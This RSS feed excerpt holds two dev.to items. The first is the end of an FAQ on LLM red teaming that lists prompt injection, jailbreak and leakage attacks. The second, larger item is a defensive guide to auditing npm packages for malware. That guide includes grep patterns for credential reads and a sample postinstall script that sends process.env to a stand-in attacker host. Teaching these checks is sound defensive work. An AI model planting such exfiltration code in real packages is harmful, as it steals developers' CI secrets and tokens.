&lt;p&gt;&lt;strong&gt;How is it different from penetration testing?&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;Traditional pen testing targets deterministic code paths with a clear pass/fail. LLM red teaming targets probabilistic model behavior, so findings are tracked as an Attack Success Rate across many runs, not a single result. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What are the most common attacks?&lt;/strong&gt;  &lt;/p&gt;

&lt;p&gt;Direct and indirect prompt injection, jailbreaks (persona attacks, many-shot, encoding), data leakage (system prompt, context/RAG, training data), and agent or API misuse. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How do you test for prompt injection?&lt;/strong&gt;  &lt;/p&gt;

&lt;p&gt;Run both direct probes against the user input channel and indirect probes via documents, web pages, or other retrieved content the model processes, then assess whether protected content was disclosed or unauthorized actions occurred, rather than relying only on keyword matches. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What tools support LLM red teaming?&lt;/strong&gt;  &lt;/p&gt;

&lt;p&gt;Garak, Microsoft PyRIT, and Promptfoo are widely used options; see the comparison above. &lt;/p&gt;

</description>
      <category>security</category>
      <category>llm</category>
      <category>ai</category>
      <category>devsecops</category>
    </item>
    <item>
      <title>How to Audit a npm Package for Malware in 10 Minutes</title>
      <dc:creator>Loginsoft</dc:creator>
      <pubDate>Tue, 18 Aug 2026 12:13:18 +0000</pubDate>
      <link>https://dev.to/loginsoft/how-to-audit-a-npm-package-for-malware-in-10-minutes-2dfn</link>
      <guid>https://dev.to/loginsoft/how-to-audit-a-npm-package-for-malware-in-10-minutes-2dfn</guid>
      <description>&lt;p&gt;You are about to run npm install some-package and hand a stranger's code full access to your machine, your environment variables, and your CI pipeline. Last year alone, hundreds of malicious packages were caught on npm, many of them typosquats of popular libraries that stole credentials the moment they were installed. &lt;/p&gt;

&lt;p&gt;This is a 10-minute manual audit workflow for any npm package you do not fully trust. It is written for JavaScript and Node.js developers, DevOps engineers, and anyone reviewing dependencies in a security-sensitive codebase. No paid tools required, just your terminal. &lt;/p&gt;

&lt;p&gt;Set a timer. Let's go. &lt;/p&gt;

&lt;h2&gt;
  
  
  Minute 0 to 1: Never install first. Inspect the metadata.
&lt;/h2&gt;

&lt;p&gt;The most important rule: do not install the package to inspect it. Malicious code usually runs at install time, not at import time. Start with metadata:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bash 

npm view lodash-utilz 

Look at four things &lt;span class="k"&gt;in &lt;/span&gt;the output: 

lodash-utilz@1.0.3 | MIT | deps: 2 | versions: 3 

dist-tags: 
latest: 1.0.3 

published 2 days ago by newdev4821 newdev4821@protonmail.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Red flags to catch here:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Very young package or very few versions. A "utility" library with 3 versions published in the last week is suspicious. &lt;/p&gt;

&lt;p&gt;Name that looks almost like a popular package. lodash-utilz, reakt-dom, crossenv. Typosquatting is the number one delivery method. &lt;/p&gt;

&lt;p&gt;Maintainer mismatch. A brand new email publishing a package that claims to belong to a known project. &lt;/p&gt;

&lt;p&gt;Sudden maintainer change on an old package. Check with npm view  maintainers and compare against the GitHub repo. &lt;/p&gt;

&lt;h2&gt;
  
  
  Minute 1 to 3: Check the install scripts
&lt;/h2&gt;

&lt;p&gt;This is where most npm malware lives. Lifecycle scripts like preinstall, install, and postinstall execute arbitrary shell commands on your machine automatically during npm install. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pull the manifest straight from the registry:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bash 

npm view lodash-utilz &lt;span class="nt"&gt;--json&lt;/span&gt; | node &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;" 
const pkg = JSON.parse(require('fs').readFileSync(0, 'utf8')); 
console.log(JSON.stringify(pkg.scripts, null, 2)); 
"&lt;/span&gt; 

A malicious result looks like this:

json 

&lt;span class="o"&gt;{&lt;/span&gt; 
  &lt;span class="s2"&gt;"postinstall"&lt;/span&gt;: &lt;span class="s2"&gt;"node ./lib/setup.js"&lt;/span&gt; 
&lt;span class="o"&gt;}&lt;/span&gt; 

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An innocent-looking setup.js reference is exactly how credential stealers hide. Legitimate packages that genuinely need install scripts (native builds like node-gyp, binary downloads like esbuild) are well known. A random utility library has no reason to run anything at install time. &lt;/p&gt;

&lt;p&gt;Quick heuristic: any post install script in a small, unknown package is guilty until proven innocent. &lt;/p&gt;

&lt;h2&gt;
  
  
  Minute 3 to 5: Download the tarball without installing
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;npm pack downloads exactly what the registry serves, with zero script execution:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;bash&lt;/span&gt;&lt;span class="w"&gt; 

&lt;/span&gt;&lt;span class="err"&gt;mkdir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;/tmp/audit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;/tmp/audit&lt;/span&gt;&lt;span class="w"&gt; 
&lt;/span&gt;&lt;span class="err"&gt;npm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;pack&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;lodash-utilz&lt;/span&gt;&lt;span class="w"&gt; 
&lt;/span&gt;&lt;span class="err"&gt;tar&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;-xzf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;lodash-utilz&lt;/span&gt;&lt;span class="mf"&gt;-1.0&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="err"&gt;.tgz&lt;/span&gt;&lt;span class="w"&gt; 
&lt;/span&gt;&lt;span class="err"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;package&lt;/span&gt;&lt;span class="w"&gt; 
&lt;/span&gt;&lt;span class="err"&gt;ls&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;-laR&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why this matters: the code on GitHub and the code on npm are not guaranteed to match. Attackers routinely publish a clean repo and a poisoned tarball. Always audit the tarball, never the repo. &lt;/p&gt;

&lt;p&gt;While you are here, check for files that should not exist: .env, unexplained .node binaries, minified blobs in a package that claims to ship readable sources. &lt;/p&gt;

&lt;h2&gt;
  
  
  Minute 5 to 8: Grep for the classic malware patterns
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;You now have the real shipped code on disk. Run this pattern sweep:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bash 

&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; &lt;span class="nt"&gt;--include&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"*.js"&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt;
  &lt;span class="s2"&gt;"eval&lt;/span&gt;&lt;span class="se"&gt;\(&lt;/span&gt;&lt;span class="s2"&gt;|Function&lt;/span&gt;&lt;span class="se"&gt;\(&lt;/span&gt;&lt;span class="s2"&gt;|child_process|&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;exec&lt;/span&gt;&lt;span class="se"&gt;\(&lt;/span&gt;&lt;span class="s2"&gt;|spawn&lt;/span&gt;&lt;span class="se"&gt;\(&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt; 

&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; &lt;span class="nt"&gt;--include&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"*.js"&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt;
  &lt;span class="s2"&gt;"process&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;env|&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;npmrc|&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;ssh|&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;aws|hosts"&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt; 

&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; &lt;span class="nt"&gt;--include&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"*.js"&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt;
  &lt;span class="s2"&gt;"http&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;request|https&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;request|fetch&lt;/span&gt;&lt;span class="se"&gt;\(&lt;/span&gt;&lt;span class="s2"&gt;|XMLHttpRequest|dns&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;resolve"&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt; 

&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; &lt;span class="nt"&gt;--include&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"*.js"&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt;
  &lt;span class="s2"&gt;"base64|fromCharCode|&lt;/span&gt;&lt;span class="se"&gt;\\\\&lt;/span&gt;&lt;span class="s2"&gt;x[0-9a-f]{2}"&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;What each sweep catches:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Dynamic execution: eval, new Function, child_process. A string-manipulation library has no business spawning shells. &lt;/p&gt;

&lt;p&gt;Sensitive reads: code touching process.env, .npmrc (your npm token lives there), .ssh, or .aws directories. &lt;/p&gt;

&lt;p&gt;Network exfiltration: outbound requests to hardcoded IPs or unfamiliar domains. Ask yourself: why does this package phone home at all? &lt;/p&gt;

&lt;p&gt;Obfuscation: long base64 strings, String.fromCharCode chains, hex-escaped strings. Legitimate open source has no reason to hide its logic. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Real-world example of what you might find:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;js 

// lib/setup.js 
const h &lt;span class="o"&gt;=&lt;/span&gt; Buffer.from&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'aHR0cHM6Ly9ldmlsLmV4YW1wbGUvYw=='&lt;/span&gt;, &lt;span class="s1"&gt;'base64'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;.toString&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
require&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'https'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;.request&lt;span class="o"&gt;(&lt;/span&gt;h, &lt;span class="o"&gt;{&lt;/span&gt; method: &lt;span class="s1"&gt;'POST'&lt;/span&gt; &lt;span class="o"&gt;})&lt;/span&gt; 
  .end&lt;span class="o"&gt;(&lt;/span&gt;JSON.stringify&lt;span class="o"&gt;(&lt;/span&gt;process.env&lt;span class="o"&gt;))&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is your entire environment, including CI secrets and npm tokens, POSTed to an attacker. Two lines. This is why the grep sweep takes priority over reading every file. &lt;/p&gt;

&lt;h2&gt;
  
  
  Minute 8 to 9: Diff the dependency tree
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Malware also arrives transitively. Before adding the package, preview what it drags in:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;bash&lt;/span&gt; 

&lt;span class="nx"&gt;npm&lt;/span&gt; &lt;span class="nx"&gt;install&lt;/span&gt; &lt;span class="nx"&gt;lodash&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;utilz&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="nx"&gt;dry&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;run&lt;/span&gt; 

&lt;span class="nx"&gt;Then&lt;/span&gt; &lt;span class="nx"&gt;check&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="nx"&gt;tree&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="nx"&gt;anything&lt;/span&gt; &lt;span class="nx"&gt;unexpected&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; 

&lt;span class="nx"&gt;bash&lt;/span&gt; 

&lt;span class="nx"&gt;npm&lt;/span&gt; &lt;span class="nx"&gt;view&lt;/span&gt; &lt;span class="nx"&gt;lodash&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;utilz&lt;/span&gt; &lt;span class="nx"&gt;dependencies&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A tiny helper library pulling in 40 transitive dependencies, or depending on another unknown week-old package, deserves a hard pass. &lt;/p&gt;

&lt;h2&gt;
  
  
  Minute 9 to 10: Run the automated second opinion
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Finish with tooling that checks the package against known-bad databases:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;bash &lt;/p&gt;

&lt;p&gt;Checks against the OSV and GitHub advisory databases &lt;br&gt;
npx osv-scanner --lockfile package-lock.json &lt;/p&gt;

&lt;p&gt;Interactive pre-install gate: audits BEFORE installing &lt;br&gt;
npx npq install lodash-utilz &lt;/p&gt;

&lt;p&gt;For ongoing protection, wire one of these into CI so every pull request that touches package.json gets the same scrutiny automatically. Socket, OSV-Scanner, and npm audit signatures (which verifies registry provenance) all run cleanly in GitHub Actions. &lt;/p&gt;

&lt;h2&gt;
  
  
  The 10-minute checklist
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Copy this into your team wiki:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;[ ] npm view: age, versions, maintainer, name typos &lt;br&gt;
[ ] Manifest: any preinstall/install/postinstall scripts? &lt;br&gt;
[ ] npm pack: audit the tarball, not the GitHub repo &lt;br&gt;
[ ] Grep sweep: eval, child_process, env reads, network, base64 &lt;br&gt;
[ ] Dependency tree: --dry-run before real install &lt;br&gt;
[ ] Automated scan: osv-scanner or npq as second opinion &lt;/p&gt;

&lt;p&gt;Ten minutes of friction versus a leaked AWS key and a rotated-credentials fire drill. Easy trade. &lt;/p&gt;

&lt;h2&gt;
  
  
  What's next
&lt;/h2&gt;

&lt;p&gt;This manual workflow catches the common 90 percent. Supply chain attacks like dependency confusion, compromised maintainer accounts, and build-pipeline injection need deeper coverage: registry provenance verification, lockfile pinning policy, and continuous monitoring of your full dependency graph. &lt;/p&gt;

&lt;p&gt;What is your team's process for vetting new dependencies? Drop it in the comments, genuinely curious what gates other teams use.&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>python</category>
      <category>npm</category>
      <category>devops</category>
    </item>
  </channel>
</rss>
